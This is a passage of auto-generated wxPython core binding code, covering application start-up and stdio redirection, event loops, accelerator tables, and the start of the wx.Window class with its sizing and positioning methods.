redirect is True.\n\n :param useBestVisual: Should the app try to use the best\n available visual provided by the system (only relevant on\n systems that have more than one visual.) This parameter\n must be used instead of calling `SetUseBestVisual` later\n on because it must be set before the underlying GUI\n toolkit is initialized.\n\n :param clearSigInt: Should SIGINT be cleared? This allows the\n app to terminate upon a Ctrl-C in the console like other\n GUI apps will.\n\n :note: You should override OnInit to do applicaition\n initialization to ensure that the system, toolkit and\n wxWidgets are fully initialized.\n \"\"\"\n \n wx.PyApp.__init__(self)\n\n # make sure we can create a GUI\n if not self.IsDisplayAvailable():\n \n if wx.Platform == \"__WXMAC__\":\n msg = \"\"\"This program needs access to the screen.\nPlease run with 'pythonw', not 'python', and only when you are logged\nin on the main display of your Mac.\"\"\"\n \n elif wx.Platform == \"__WXGTK__\":\n msg =\"Unable to access the X Display, is $DISPLAY set properly?\"\n\n else:\n msg = \"Unable to create GUI\"\n # TODO: more description is needed for wxMSW...\n\n raise SystemExit(msg)\n \n # This has to be done before OnInit\n self.SetUseBestVisual(useBestVisual)\n\n # Set the default handler for SIGINT. This fixes a problem\n # where if Ctrl-C is pressed in the console that started this\n # app then it will not appear to do anything, (not even send\n # KeyboardInterrupt???) but will later segfault on exit. By\n # setting the default handler then the app will exit, as\n # expected (depending on platform.)\n if clearSigInt:\n try:\n import signal\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n except:\n pass\n\n # Save and redirect the stdio to a window?\n self.stdioWin = None\n self.saveStdio = (_sys.stdout, _sys.stderr)\n if redirect:\n self.RedirectStdio(filename)\n\n # Use Python's install prefix as the default \n wx.StandardPaths.Get().SetInstallPrefix(_sys.prefix)\n\n # Until the new native control for wxMac is up to par, still use the generic one.\n wx.SystemOptions.SetOptionInt(\"mac.listctrl.always_use_generic\", 1)\n\n # This finishes the initialization of wxWindows and then calls\n # the OnInit that should be present in the derived class\n self._BootstrapApp()\n\n\n def OnPreInit(self):\n \"\"\"\n Things that must be done after _BootstrapApp has done its\n thing, but would be nice if they were already done by the time\n that OnInit is called.\n \"\"\"\n wx.StockGDI._initStockObjects()\n \n\n def __del__(self, destroy=wx.PyApp.__del__):\n self.RestoreStdio() # Just in case the MainLoop was overridden\n destroy(self)\n\n def Destroy(self):\n self.this.own(False)\n wx.PyApp.Destroy(self)\n\n def SetTopWindow(self, frame):\n \"\"\"Set the \\\"main\\\" top level window\"\"\"\n if self.stdioWin:\n self.stdioWin.SetParent(frame)\n wx.PyApp.SetTopWindow(self, frame)\n\n\n def MainLoop(self):\n \"\"\"Execute the main GUI event loop\"\"\"\n wx.PyApp.MainLoop(self)\n self.RestoreStdio()\n\n\n def RedirectStdio(self, filename=None):\n \"\"\"Redirect sys.stdout and sys.stderr to a file or a popup window.\"\"\"\n if filename:\n _sys.stdout = _sys.stderr = open(filename, 'a')\n else:\n self.stdioWin = self.outputWindowClass()\n _sys.stdout = _sys.stderr = self.stdioWin\n\n\n def RestoreStdio(self):\n try:\n _sys.stdout, _sys.stderr = self.saveStdio\n except:\n pass\n\n\n def SetOutputWindowAttributes(self, title=None, pos=None, size=None):\n \"\"\"\n Set the title, position and/or size of the output window if\n the stdio has been redirected. This should be called before\n any output would cause the output window to be created.\n \"\"\"\n if self.stdioWin:\n if title is not None:\n self.stdioWin.title = title\n if pos is not None:\n self.stdioWin.pos = pos\n if size is not None:\n self.stdioWin.size = size\n \n\n\n\n# change from wx.PyApp_XX to wx.App_XX\nApp_GetMacSupportPCMenuShortcuts = _core_.PyApp_GetMacSupportPCMenuShortcuts\nApp_GetMacAboutMenuItemId = _core_.PyApp_GetMacAboutMenuItemId\nApp_GetMacPreferencesMenuItemId = _core_.PyApp_GetMacPreferencesMenuItemId\nApp_GetMacExitMenuItemId = _core_.PyApp_GetMacExitMenuItemId\nApp_GetMacHelpMenuTitleName = _core_.PyApp_GetMacHelpMenuTitleName\nApp_SetMacSupportPCMenuShortcuts = _core_.PyApp_SetMacSupportPCMenuShortcuts\nApp_SetMacAboutMenuItemId = _core_.PyApp_SetMacAboutMenuItemId\nApp_SetMacPreferencesMenuItemId = _core_.PyApp_SetMacPreferencesMenuItemId\nApp_SetMacExitMenuItemId = _core_.PyApp_SetMacExitMenuItemId\nApp_SetMacHelpMenuTitleName = _core_.PyApp_SetMacHelpMenuTitleName\nApp_GetComCtl32Version = _core_.PyApp_GetComCtl32Version\n\n#----------------------------------------------------------------------------\n\nclass PySimpleApp(wx.App):\n \"\"\"\n A simple application class. You can just create one of these and\n then then make your top level windows later, and not have to worry\n about OnInit. For example::\n\n app = wx.PySimpleApp()\n frame = wx.Frame(None, title='Hello World')\n frame.Show()\n app.MainLoop()\n\n :see: `wx.App` \n \"\"\"\n\n def __init__(self, redirect=False, filename=None,\n useBestVisual=False, clearSigInt=True):\n \"\"\"\n :see: `wx.App.__init__`\n \"\"\"\n wx.App.__init__(self, redirect, filename, useBestVisual, clearSigInt)\n \n def OnInit(self):\n return True\n\n\n\n# Is anybody using this one?\nclass PyWidgetTester(wx.App):\n def __init__(self, size = (250, 100)):\n self.size = size\n wx.App.__init__(self, 0)\n\n def OnInit(self):\n self.frame = wx.Frame(None, -1, \"Widget Tester\", pos=(0,0), size=self.size)\n self.SetTopWindow(self.frame)\n return True\n\n def SetWidget(self, widgetClass, *args, **kwargs):\n w = widgetClass(self.frame, *args, **kwargs)\n self.frame.Show(True)\n\n#----------------------------------------------------------------------------\n# DO NOT hold any other references to this object. This is how we\n# know when to cleanup system resources that wxWidgets is holding. When\n# the sys module is unloaded, the refcount on sys.__wxPythonCleanup\n# goes to zero and it calls the wx.App_CleanUp function.\n\nclass __wxPyCleanup:\n def __init__(self):\n self.cleanup = _core_.App_CleanUp\n def __del__(self):\n self.cleanup()\n\n_sys.__wxPythonCleanup = __wxPyCleanup()\n\n## # another possible solution, but it gets called too early...\n## import atexit\n## atexit.register(_core_.wxApp_CleanUp)\n\n\n#----------------------------------------------------------------------------\n\n#---------------------------------------------------------------------------\n\nclass EventLoop(object):\n \"\"\"Proxy of C++ EventLoop class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> EventLoop\"\"\"\n _core_.EventLoop_swiginit(self,_core_.new_EventLoop(*args, **kwargs))\n __swig_destroy__ = _core_.delete_EventLoop\n __del__ = lambda self : None;\n def Run(*args, **kwargs):\n \"\"\"Run(self) -> int\"\"\"\n return _core_.EventLoop_Run(*args, **kwargs)\n\n def Exit(*args, **kwargs):\n \"\"\"Exit(self, int rc=0)\"\"\"\n return _core_.EventLoop_Exit(*args, **kwargs)\n\n def Pending(*args, **kwargs):\n \"\"\"Pending(self) -> bool\"\"\"\n return _core_.EventLoop_Pending(*args, **kwargs)\n\n def Dispatch(*args, **kwargs):\n \"\"\"Dispatch(self) -> bool\"\"\"\n return _core_.EventLoop_Dispatch(*args, **kwargs)\n\n def IsRunning(*args, **kwargs):\n \"\"\"IsRunning(self) -> bool\"\"\"\n return _core_.EventLoop_IsRunning(*args, **kwargs)\n\n def GetActive(*args, **kwargs):\n \"\"\"GetActive() -> EventLoop\"\"\"\n return _core_.EventLoop_GetActive(*args, **kwargs)\n\n GetActive = staticmethod(GetActive)\n def SetActive(*args, **kwargs):\n \"\"\"SetActive(EventLoop loop)\"\"\"\n return _core_.EventLoop_SetActive(*args, **kwargs)\n\n SetActive = staticmethod(SetActive)\n_core_.EventLoop_swigregister(EventLoop)\n\ndef EventLoop_GetActive(*args):\n \"\"\"EventLoop_GetActive() -> EventLoop\"\"\"\n return _core_.EventLoop_GetActive(*args)\n\ndef EventLoop_SetActive(*args, **kwargs):\n \"\"\"EventLoop_SetActive(EventLoop loop)\"\"\"\n return _core_.EventLoop_SetActive(*args, **kwargs)\n\nclass EventLoopActivator(object):\n \"\"\"Proxy of C++ EventLoopActivator class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventLoop evtLoop) -> EventLoopActivator\"\"\"\n _core_.EventLoopActivator_swiginit(self,_core_.new_EventLoopActivator(*args, **kwargs))\n __swig_destroy__ = _core_.delete_EventLoopActivator\n __del__ = lambda self : None;\n_core_.EventLoopActivator_swigregister(EventLoopActivator)\n\nclass EventLoopGuarantor(object):\n \"\"\"Proxy of C++ EventLoopGuarantor class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> EventLoopGuarantor\"\"\"\n _core_.EventLoopGuarantor_swiginit(self,_core_.new_EventLoopGuarantor(*args, **kwargs))\n __swig_destroy__ = _core_.delete_EventLoopGuarantor\n __del__ = lambda self : None;\n_core_.EventLoopGuarantor_swigregister(EventLoopGuarantor)\n\n#---------------------------------------------------------------------------\n\nACCEL_ALT = _core_.ACCEL_ALT\nACCEL_CTRL = _core_.ACCEL_CTRL\nACCEL_SHIFT = _core_.ACCEL_SHIFT\nACCEL_NORMAL = _core_.ACCEL_NORMAL\nACCEL_CMD = _core_.ACCEL_CMD\nclass AcceleratorEntry(object):\n \"\"\"\n A class used to define items in an `wx.AcceleratorTable`. wxPython\n programs can choose to use wx.AcceleratorEntry objects, but using a\n list of 3-tuple of integers (flags, keyCode, cmdID) usually works just\n as well. See `__init__` for of the tuple values.\n\n :see: `wx.AcceleratorTable`\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int flags=0, int keyCode=0, int cmdID=0) -> AcceleratorEntry\n\n Construct a wx.AcceleratorEntry.\n \"\"\"\n _core_.AcceleratorEntry_swiginit(self,_core_.new_AcceleratorEntry(*args, **kwargs))\n __swig_destroy__ = _core_.delete_AcceleratorEntry\n __del__ = lambda self : None;\n def Set(*args, **kwargs):\n \"\"\"\n Set(self, int flags, int keyCode, int cmd)\n\n (Re)set the attributes of a wx.AcceleratorEntry.\n :see `__init__`\n \"\"\"\n return _core_.AcceleratorEntry_Set(*args, **kwargs)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(String str) -> AcceleratorEntry\n\n Create accelerator corresponding to the specified string, or None if\n it coulnd't be parsed.\n \"\"\"\n return _core_.AcceleratorEntry_Create(*args, **kwargs)\n\n Create = staticmethod(Create)\n def GetFlags(*args, **kwargs):\n \"\"\"\n GetFlags(self) -> int\n\n Get the AcceleratorEntry's flags.\n \"\"\"\n return _core_.AcceleratorEntry_GetFlags(*args, **kwargs)\n\n def GetKeyCode(*args, **kwargs):\n \"\"\"\n GetKeyCode(self) -> int\n\n Get the AcceleratorEntry's keycode.\n \"\"\"\n return _core_.AcceleratorEntry_GetKeyCode(*args, **kwargs)\n\n def GetCommand(*args, **kwargs):\n \"\"\"\n GetCommand(self) -> int\n\n Get the AcceleratorEntry's command ID.\n \"\"\"\n return _core_.AcceleratorEntry_GetCommand(*args, **kwargs)\n\n def IsOk(*args, **kwargs):\n \"\"\"IsOk(self) -> bool\"\"\"\n return _core_.AcceleratorEntry_IsOk(*args, **kwargs)\n\n def ToString(*args, **kwargs):\n \"\"\"\n ToString(self) -> String\n\n Returns a string representation for the this accelerator. The string\n is formatted using the <flags>-<keycode> format where <flags> maybe a\n hyphen-separed list of \"shift|alt|ctrl\"\n\n \"\"\"\n return _core_.AcceleratorEntry_ToString(*args, **kwargs)\n\n def FromString(*args, **kwargs):\n \"\"\"\n FromString(self, String str) -> bool\n\n Returns true if the given string correctly initialized this object.\n \"\"\"\n return _core_.AcceleratorEntry_FromString(*args, **kwargs)\n\n Command = property(GetCommand,doc=\"See `GetCommand`\") \n Flags = property(GetFlags,doc=\"See `GetFlags`\") \n KeyCode = property(GetKeyCode,doc=\"See `GetKeyCode`\") \n_core_.AcceleratorEntry_swigregister(AcceleratorEntry)\n\ndef AcceleratorEntry_Create(*args, **kwargs):\n \"\"\"\n AcceleratorEntry_Create(String str) -> AcceleratorEntry\n\n Create accelerator corresponding to the specified string, or None if\n it coulnd't be parsed.\n \"\"\"\n return _core_.AcceleratorEntry_Create(*args, **kwargs)\n\nclass AcceleratorTable(Object):\n \"\"\"\n An accelerator table allows the application to specify a table of\n keyboard shortcuts for menus or other commands. On Windows, menu or\n button commands are supported; on GTK, only menu commands are\n supported.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(entries) -> AcceleratorTable\n\n Construct an AcceleratorTable from a list of `wx.AcceleratorEntry`\n items or or of 3-tuples (flags, keyCode, cmdID)\n\n :see: `wx.AcceleratorEntry`\n \"\"\"\n _core_.AcceleratorTable_swiginit(self,_core_.new_AcceleratorTable(*args, **kwargs))\n __swig_destroy__ = _core_.delete_AcceleratorTable\n __del__ = lambda self : None;\n def IsOk(*args, **kwargs):\n \"\"\"IsOk(self) -> bool\"\"\"\n return _core_.AcceleratorTable_IsOk(*args, **kwargs)\n\n Ok = IsOk \n_core_.AcceleratorTable_swigregister(AcceleratorTable)\n\n\ndef GetAccelFromString(*args, **kwargs):\n \"\"\"GetAccelFromString(String label) -> AcceleratorEntry\"\"\"\n return _core_.GetAccelFromString(*args, **kwargs)\n#---------------------------------------------------------------------------\n\nclass WindowList_iterator(object):\n \"\"\"This class serves as an iterator for a wxWindowList object.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_WindowList_iterator\n __del__ = lambda self : None;\n def next(*args, **kwargs):\n \"\"\"next(self) -> Window\"\"\"\n return _core_.WindowList_iterator_next(*args, **kwargs)\n\n_core_.WindowList_iterator_swigregister(WindowList_iterator)\nNullAcceleratorTable = cvar.NullAcceleratorTable\nPanelNameStr = cvar.PanelNameStr\n\nclass WindowList(object):\n \"\"\"\n This class wraps a wxList-based class and gives it a Python\n sequence-like interface. Sequence operations supported are length,\n index access and iteration.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_WindowList\n __del__ = lambda self : None;\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> size_t\"\"\"\n return _core_.WindowList___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, size_t index) -> Window\"\"\"\n return _core_.WindowList___getitem__(*args, **kwargs)\n\n def __contains__(*args, **kwargs):\n \"\"\"__contains__(self, Window obj) -> bool\"\"\"\n return _core_.WindowList___contains__(*args, **kwargs)\n\n def __iter__(*args, **kwargs):\n \"\"\"__iter__(self) -> WindowList_iterator\"\"\"\n return _core_.WindowList___iter__(*args, **kwargs)\n\n def index(*args, **kwargs):\n \"\"\"index(self, Window obj) -> int\"\"\"\n return _core_.WindowList_index(*args, **kwargs)\n\n def __repr__(self):\n return \"wxWindowList: \" + repr(list(self))\n\n_core_.WindowList_swigregister(WindowList)\n\nclass VisualAttributes(object):\n \"\"\"struct containing all the visual attributes of a control\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> VisualAttributes\n\n struct containing all the visual attributes of a control\n \"\"\"\n _core_.VisualAttributes_swiginit(self,_core_.new_VisualAttributes(*args, **kwargs))\n __swig_destroy__ = _core_.delete_VisualAttributes\n __del__ = lambda self : None;\n def _get_font(*args, **kwargs):\n \"\"\"_get_font(self) -> Font\"\"\"\n return _core_.VisualAttributes__get_font(*args, **kwargs)\n\n def _get_colFg(*args, **kwargs):\n \"\"\"_get_colFg(self) -> Colour\"\"\"\n return _core_.VisualAttributes__get_colFg(*args, **kwargs)\n\n def _get_colBg(*args, **kwargs):\n \"\"\"_get_colBg(self) -> Colour\"\"\"\n return _core_.VisualAttributes__get_colBg(*args, **kwargs)\n\n font = property(_get_font) \n colFg = property(_get_colFg) \n colBg = property(_get_colBg) \n_core_.VisualAttributes_swigregister(VisualAttributes)\n\nWINDOW_VARIANT_NORMAL = _core_.WINDOW_VARIANT_NORMAL\nWINDOW_VARIANT_SMALL = _core_.WINDOW_VARIANT_SMALL\nWINDOW_VARIANT_MINI = _core_.WINDOW_VARIANT_MINI\nWINDOW_VARIANT_LARGE = _core_.WINDOW_VARIANT_LARGE\nWINDOW_VARIANT_MAX = _core_.WINDOW_VARIANT_MAX\nclass Window(EvtHandler):\n \"\"\"\n wx.Window is the base class for all windows and represents any visible\n object on the screen. All controls, top level windows and so on are\n wx.Windows. Sizers and device contexts are not however, as they don't\n appear on screen themselves.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=PanelNameStr) -> Window\n\n Construct and show a generic Window.\n \"\"\"\n _core_.Window_swiginit(self,_core_.new_Window(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=0, String name=PanelNameStr) -> bool\n\n Create the GUI part of the Window for 2-phase creation mode.\n \"\"\"\n return _core_.Window_Create(*args, **kwargs)\n\n def Close(*args, **kwargs):\n \"\"\"\n Close(self, bool force=False) -> bool\n\n This function simply generates a EVT_CLOSE event whose handler usually\n tries to close the window. It doesn't close the window itself,\n however. If force is False (the default) then the window's close\n handler will be allowed to veto the destruction of the window.\n \"\"\"\n return _core_.Window_Close(*args, **kwargs)\n\n def Destroy(*args, **kwargs):\n \"\"\"\n Destroy(self) -> bool\n\n Destroys the window safely. Frames and dialogs are not destroyed\n immediately when this function is called -- they are added to a list\n of windows to be deleted on idle time, when all the window's events\n have been processed. This prevents problems with events being sent to\n non-existent windows.\n\n Returns True if the window has either been successfully deleted, or it\n has been added to the list of windows pending real deletion.\n \"\"\"\n args[0].this.own(False)\n return _core_.Window_Destroy(*args, **kwargs)\n\n def DestroyChildren(*args, **kwargs):\n \"\"\"\n DestroyChildren(self) -> bool\n\n Destroys all children of a window. Called automatically by the\n destructor.\n \"\"\"\n return _core_.Window_DestroyChildren(*args, **kwargs)\n\n def IsBeingDeleted(*args, **kwargs):\n \"\"\"\n IsBeingDeleted(self) -> bool\n\n Is the window in the process of being deleted?\n \"\"\"\n return _core_.Window_IsBeingDeleted(*args, **kwargs)\n\n def SetLabel(*args, **kwargs):\n \"\"\"\n SetLabel(self, String label)\n\n Set the text which the window shows in its label if applicable.\n \"\"\"\n return _core_.Window_SetLabel(*args, **kwargs)\n\n def GetLabel(*args, **kwargs):\n \"\"\"\n GetLabel(self) -> String\n\n Generic way of getting a label from any window, for identification\n purposes. The interpretation of this function differs from class to\n class. For frames and dialogs, the value returned is the title. For\n buttons or static text controls, it is the button text. This function\n can be useful for meta-programs such as testing tools or special-needs\n access programs)which need to identify windows by name.\n \"\"\"\n return _core_.Window_GetLabel(*args, **kwargs)\n\n def SetName(*args, **kwargs):\n \"\"\"\n SetName(self, String name)\n\n Sets the window's name. The window name is used for ressource setting\n in X, it is not the same as the window title/label\n \"\"\"\n return _core_.Window_SetName(*args, **kwargs)\n\n def GetName(*args, **kwargs):\n \"\"\"\n GetName(self) -> String\n\n Returns the windows name. This name is not guaranteed to be unique;\n it is up to the programmer to supply an appropriate name in the window\n constructor or via wx.Window.SetName.\n \"\"\"\n return _core_.Window_GetName(*args, **kwargs)\n\n def SetWindowVariant(*args, **kwargs):\n \"\"\"\n SetWindowVariant(self, int variant)\n\n Sets the variant of the window/font size to use for this window, if\n the platform supports variants, for example, wxMac.\n \"\"\"\n return _core_.Window_SetWindowVariant(*args, **kwargs)\n\n def GetWindowVariant(*args, **kwargs):\n \"\"\"GetWindowVariant(self) -> int\"\"\"\n return _core_.Window_GetWindowVariant(*args, **kwargs)\n\n def SetId(*args, **kwargs):\n \"\"\"\n SetId(self, int winid)\n\n Sets the identifier of the window. Each window has an integer\n identifier. If the application has not provided one, an identifier\n will be generated. Normally, the identifier should be provided on\n creation and should not be modified subsequently.\n \"\"\"\n return _core_.Window_SetId(*args, **kwargs)\n\n def GetId(*args, **kwargs):\n \"\"\"\n GetId(self) -> int\n\n Returns the identifier of the window. Each window has an integer\n identifier. If the application has not provided one (or the default Id\n -1 is used) then an unique identifier with a negative value will be\n generated.\n \"\"\"\n return _core_.Window_GetId(*args, **kwargs)\n\n def NewControlId(*args, **kwargs):\n \"\"\"\n NewControlId() -> int\n\n Generate a control id for the controls which were not given one.\n \"\"\"\n return _core_.Window_NewControlId(*args, **kwargs)\n\n NewControlId = staticmethod(NewControlId)\n def NextControlId(*args, **kwargs):\n \"\"\"\n NextControlId(int winid) -> int\n\n Get the id of the control following the one with the given\n autogenerated) id\n \"\"\"\n return _core_.Window_NextControlId(*args, **kwargs)\n\n NextControlId = staticmethod(NextControlId)\n def PrevControlId(*args, **kwargs):\n \"\"\"\n PrevControlId(int winid) -> int\n\n Get the id of the control preceding the one with the given\n autogenerated) id\n \"\"\"\n return _core_.Window_PrevControlId(*args, **kwargs)\n\n PrevControlId = staticmethod(PrevControlId)\n def GetLayoutDirection(*args, **kwargs):\n \"\"\"\n GetLayoutDirection(self) -> int\n\n Get the layout direction (LTR or RTL) for this window. Returns\n ``wx.Layout_Default`` if layout direction is not supported.\n \"\"\"\n return _core_.Window_GetLayoutDirection(*args, **kwargs)\n\n def SetLayoutDirection(*args, **kwargs):\n \"\"\"\n SetLayoutDirection(self, int dir)\n\n Set the layout direction (LTR or RTL) for this window.\n \"\"\"\n return _core_.Window_SetLayoutDirection(*args, **kwargs)\n\n def AdjustForLayoutDirection(*args, **kwargs):\n \"\"\"\n AdjustForLayoutDirection(self, int x, int width, int widthTotal) -> int\n\n Mirror coordinates for RTL layout if this window uses it and if the\n mirroring is not done automatically like Win32.\n \"\"\"\n return _core_.Window_AdjustForLayoutDirection(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"\n SetSize(self, Size size)\n\n Sets the size of the window in pixels.\n \"\"\"\n return _core_.Window_SetSize(*args, **kwargs)\n\n def SetDimensions(*args, **kwargs):\n \"\"\"\n SetDimensions(self, int x, int y, int width, int height, int sizeFlags=SIZE_AUTO)\n\n Sets the position and size of the window in pixels. The sizeFlags\n parameter indicates the interpretation of the other params if they are\n equal to -1.\n\n ======================== ======================================\n wx.SIZE_AUTO A -1 indicates that a class-specific\n default should be used.\n wx.SIZE_USE_EXISTING Existing dimensions should be used if\n -1 values are supplied.\n wxSIZE_ALLOW_MINUS_ONE Allow dimensions of -1 and less to be\n interpreted as real dimensions, not\n default values.\n ======================== ======================================\n\n \"\"\"\n return _core_.Window_SetDimensions(*args, **kwargs)\n\n def SetRect(*args, **kwargs):\n \"\"\"\n SetRect(self, Rect rect, int sizeFlags=SIZE_AUTO)\n\n Sets the position and size of the window in pixels using a wx.Rect.\n \"\"\"\n return _core_.Window_SetRect(*args, **kwargs)\n\n def SetSizeWH(*args, **kwargs):\n \"\"\"\n SetSizeWH(self, int width, int height)\n\n Sets the size of the window in pixels.\n \"\"\"\n return _core_.Window_SetSizeWH(*args, **kwargs)\n\n def Move(*args, **kwargs):\n \"\"\"\n Move(self, Point pt, int flags=SIZE_USE_EXISTING)\n\n Moves the window to the given position.\n \"\"\"\n return _core_.Window_Move(*args, **kwargs)\n\n SetPosition = Move \n def MoveXY(*args, **kwargs):\n \"\"\"\n MoveXY(self, int x, int y, int flags=SIZE_USE_EXISTING)\n\n Moves the window to the given position.\n \"\"\"\n return _core_.Window_MoveXY(*args, **kwargs)\n\n def SetInitialSize(*args, **kwargs):\n \"\"\"\n SetInitialSize(self, Size size=DefaultSize)\n\n A 'Smart' SetSize that will fill in default size components with the\n window's *best size* values. Also set's the minsize for use with sizers.\n \"\"\"\n return _core_.Window_SetInitialSize(*args, **kwargs)\n\n SetBestFittingSize = wx._deprecated(SetInitialSize, 'Use `SetInitialSize`') \n def Raise(*args, **kwargs):\n \"\"\"\n Raise(self)\n\n Raises the window to the top of the window hierarchy. In current\n version of wxWidgets this works both for managed and child windows.\n \"\"\"\n return _core_.Window_Raise(*args, **kwargs)\n\n def Lower(*args, **kwargs):\n \"\"\"\n Lower(self)\n\n Lowers the window to the bottom of the window hierarchy. In current\n version of wxWidgets this works both for managed and child windows.\n \"\"\"\n return _core_.Window_Lower(*args, **kwargs)\n\n def SetClientSize(*args, **kwargs):\n \"\"\"\n SetClientSize(self, Size size)\n\n This sets the size of the window client area in pixels. Using this\n function to size a window tends to be more device-independent than\n wx.Window.SetSize, since the application need not worry about what\n dimensions the border or title bar have when trying to fit the window\n around panel items, for example.\n \"\"\"\n return _core_.Window_SetClientSize(*args, **kwargs)\n\n def SetClientSizeWH(*args, **kwargs):\n \"\"\"\n SetClientSizeWH(self, int width, int height)\n\n This sets the size of the window client area in pixels. Using this\n function to size a window tends to be more device-independent than\n wx.Window.SetSize, since the application need not worry about what\n dimensions the border or title bar have when trying to fit the window\n around panel items, for example.\n \"\"\"\n return _core_.Window_SetClientSizeWH(*args, **kwargs)\n\n def SetClientRect(*args, **kwargs):\n \"\"\"\n SetClientRect(self, Rect rect)\n\n This sets the size of the window client area in pixels. Using this\n function to size a window tends to be more device-independent than\n wx.Window.SetSize, since the application need not worry about what\n dimensions the border or title bar have when trying to fit the window\n around panel items, for example.\n \"\"\"\n return _core_.Window_SetClientRect(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Get the window's position. Notice that the position is in client\n coordinates for child windows and screen coordinates for the top level\n ones, use `GetScreenPosition` if you need screen coordinates for all\n kinds of windows.\n \"\"\"\n return _core_.Window_GetPosition(*args, **kwargs)\n\n def GetPositionTuple(*args, **kwargs):\n \"\"\"\n GetPositionTuple() -> (x,y)\n\n Get the window's position. Notice that the position is in client\n coordinates for child windows and screen coordinates for the top level\n ones, use `GetScreenPosition` if you need screen coordinates for all\n kinds of windows.\n \"\"\"\n return _core_.Window_GetPositionTuple(*args, **kwargs)\n\n def GetScreenPosition(*args, **kwargs):\n \"\"\"\n GetScreenPosition(self) -> Point\n\n Get the position of the window in screen coordinantes.\n \"\"\"\n return _core_.Window_GetScreenPosition(*args, **kwargs)\n\n def GetScreenPositionTuple(*args, **kwargs):\n \"\"\"\n GetScreenPositionTuple() -> (x,y)\n\n Get the position of the window in screen coordinantes.\n \"\"\"\n return _core_.Window_GetScreenPositionTuple(*args, **kwargs)\n\n def GetScreenRect(*args, **kwargs):\n \"\"\"\n GetScreenRect(self) -> Rect\n\n Returns the size and position of the window in screen coordinantes as\n a `wx.Rect` object.\n \"\"\"\n return _core_.Window_GetScreenRect(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"\n GetSize(self) -> Size\n\n Get the window size.\n \"\"\"\n return _core_.Window_GetSize(*args, **kwargs)\n\n def GetSizeTuple(*args, **kwargs):\n \"\"\"\n GetSizeTuple() -> (width, height)\n\n Get the window size.\n \"\"\"\n return _core_.Window_GetSizeTuple(*args, **kwargs)\n\n def GetRect(*args, **kwargs):\n \"\"\"\n GetRect(self) -> Rect\n\n Returns the size and position of the window as a `wx.Rect` object.\n \"\"\"\n return _core_.Window_GetRect(*args, **kwargs)\n\n def GetClientSize(*args, **kwargs):\n \"\"\"\n GetClientSize(self) -> Size\n\n This gets the size of the window's 'client area' in pixels. The client\n area is the area which may be drawn on by the programmer, excluding\n title bar, border, scrollbars, etc.\n \"\"\"\n return _core_.Window_GetClientSize(*args, **kwargs)\n\n def GetClientSizeTuple(*args, **kwargs):\n \"\"\"\n GetClientSizeTuple() -> (width, height)\n\n This gets the size of the window's 'client area' in pixels. The client\n area is the area which may be drawn on by the programmer, excluding\n title bar, border, scrollbars, etc.\n \"\"\"\n return _core_.Window_GetClientSizeTuple(*args, **kwargs)\n\n def GetClientAreaOrigin(*args, **kwargs):\n \"\"\"\n GetClientAreaOrigin(self) -> Point\n\n Get the origin of the client area of the window relative to the\n window's top left corner (the client area may be shifted because of\n the borders, scrollbars, other decorations...)\n \"\"\"\n return _core_.Window_GetClientAreaOrigin(*args, **kwargs)\n\n def GetClientRect(*args, **kwargs):\n \"\"\"\n GetClientRect(self) -> Rect\n\n Get the client area position and size as a `wx.Rect` object.\n \"\"\"\n return _core_.Window_GetClientRect(*args, **kwargs)\n\n def ClientToWindowSize(*args, **kwargs):\n \"\"\"ClientToWindowSize(self, Size size) -> Size\"\"\"\n return _core_.Window_ClientToWindowSize(*args, **kwargs)\n\n def WindowToClientSize(*args, **kwargs):\n \"\"\"WindowToClientSize(self, Size size) -> Size\"\"\"\n return _core_.Window_WindowToClientSize(*args, **kwargs)\n\n def GetBestSize(*args, **kwargs):\n \"\"\"\n GetBestSize(self) -> Size\n\n This function returns the best acceptable minimal size for the\n window, if applicable. For example, for a static text control, it will\n be the minimal size such that the control label is not truncated. For\n windows containing subwindows (such as wx.Panel), the size returned by\n this function will be the same as the size the window would have had\n after calling Fit.\n \"\"\"\n return _core_.Window_GetBestSize(*args, **kwargs)\n\n def GetBestSizeTuple(*args, **kwargs):\n \"\"\"\n GetBestSizeTuple() -> (width, height)\n\n This function returns the best acceptable minimal size for the\n window, if applicable. 